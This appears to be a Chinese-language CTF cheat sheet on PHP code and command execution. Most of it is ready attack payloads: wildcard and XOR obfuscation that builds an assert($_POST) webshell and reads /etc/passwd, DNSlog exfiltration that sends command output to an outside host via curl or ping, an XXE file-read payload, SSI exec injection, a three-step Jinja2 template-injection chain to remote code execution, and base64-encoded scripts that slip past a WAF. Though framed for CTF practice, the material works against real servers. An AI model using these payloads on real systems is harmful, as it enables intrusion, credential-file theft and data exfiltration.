0x00前言
命令执行往往在实际中的危害十分的巨大,而在ctf中命令执行会比较显眼但是限制就比较多
0x01代码执行函数
eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map()
这些函数会将参数当做php代码或者php函数和参数进行执行
常见的
eval("system('ls');");
assert('phpinfo()');
call_user_func('assert','phpinfo()');
call_user_func_array('assert',array('phpinfo()'));
array_map('assert',array('phpinfo()'));
0x02命令执行函数
可以调用系统命令的函数有system()、exec()、shell_exec()(反引号(`)括住字符串效果一样)、passthru()、pcntl_exec()、popen()、proc_open()
防御函数即在变量进入命令执行函数前将变量进行处理,会使无法执行多个语句,或者传入的变量只能被当做参数,而不能当成命令
escapeshellcmd():
将特定的字符#&;`|*?~<>^()[]{}$, x0A 和 xFF。 ‘ 和 “ 仅在不配对儿的时候被转义,加上^转义
escapshellarg():
将内容用""包裹着,比如: escapshellarg("ls") => "ls"
代码执行和命令执行的区别在于,代码执行是可以任意控制php语句,而命令执行时可以控制计算机的命令,常常在ctf题也有将命令执行函数禁止防止选手恶意破坏环境
0x03命令执行的特殊情况
如果现在了某些字母,或者达到无法完整的打出命令可以使用通配符
/bin/cat /etc/passwd => /???/??t /e??/??ss??
也可用用异或运来来达到构造字符串
<?php $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert'; $__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST'; $___=$$__; $_($___[_]); // assert($_POST[_]);
这里有篇关于php5和php7代码执行的绕过waf文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
利用DNSlog回显,首先该环境为我们能够执行命令,但是没有回显。
这个时候借助http://ceye.io/records/dns 这个网站。
对方机器为linux用:
curl http://xxx.xxx.io/`pwd` ping `pwd`.xxx.xxx.io
windows用:
ping %USERNAME%.xxxx.xxxx.io
xxx.xxx.io即为账号所分配的DNS
注意点:
执行命令用`包含起来,但是输出的内容必须是一个连续的字符串(不包含空格),如果有换行就只会出最后一行。去掉空格的方法:
带空格的输出|sed s/[[:space:]]//g 带空格和换行的输出|base64
0x04一些能够执行命令的漏洞利用方式
XXE:
XXE漏洞是利用向服务器发送xml的内容,进行的攻击常见payload:
<?xml version="1.0" ?>
<!DOCTYPE aaa [<!ENTITY bbb SYSTEM "路径" >]>
<root>
<ccc>&bbb;</ccc>
</root>
<root>根节点是要加的,注意头部需要存在
Content-Type: application/xml
那么传送json的时候,也可能存在这个问题,假设将
Content-Type: application/json ==修改==> Content-Type: application/xml
然后将json数据修改成xml结构,一样能够利用。
SSI(Server Side Includes)注入
SSI的存在是为了方便程序员调试程序,使用方式为,前提是开了这个功能
<!--#include virtual="/www/footer.html" --> <!--#echo var="DATE_LOCAL"--> <!--#exec cmd="cat /etc/passwd"--> <!--#exec cgi="/cgi-bin/access_log.cgi"-->
python的模板注入
在ctf中如果遇到python题,有一定几率就是模板注入
模板注入的问题是可以用 {{1 + 1}} 来检查结果为2,那么会执行python代码
远程代码执行步骤,假如没有waf的情况下
step1: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/hack.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} step2: {{ config.from_pyfile('/tmp/hack.cfg') }} step3: {{ config['RUNCMD']('执行的命令',shell=True) }}
这里解释下
step1:
' '空字符串
' '.__class__ 这个会返回空字符串的类型
' '.__class__.__mro__会返回空字符串的类型的父类(是个数组,我们要其中的object类型)
' '.__class__.__mro__[2].__subclasses__会返回所有的类型
' '.__class__.__mro__[2].__subclasses__[40]拿到能操作文件的类型函数
' '.__class__.__mro__[2].__subclasses__[40]('/tmp/hack.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') 在/tmp/目录下创建hack.cfg, 然后写入python代码而变量RUNCMD就是之后的代码执行变量
step2:
把上面创建的hack.cfg插入当前python页面的代码中
step3:
实现远程代码执行
命令被waf
命令被waf可以采取将命令写入.sh文件中,而且使用base64编码来绕过waf
#写文件 echo bHM=|base64 -d > /tmp/test.sh #'bHM=' base64解码为'ls' #给文件权限 chmod 777 /tmp/test.sh #执行文件 /tmp/test.sh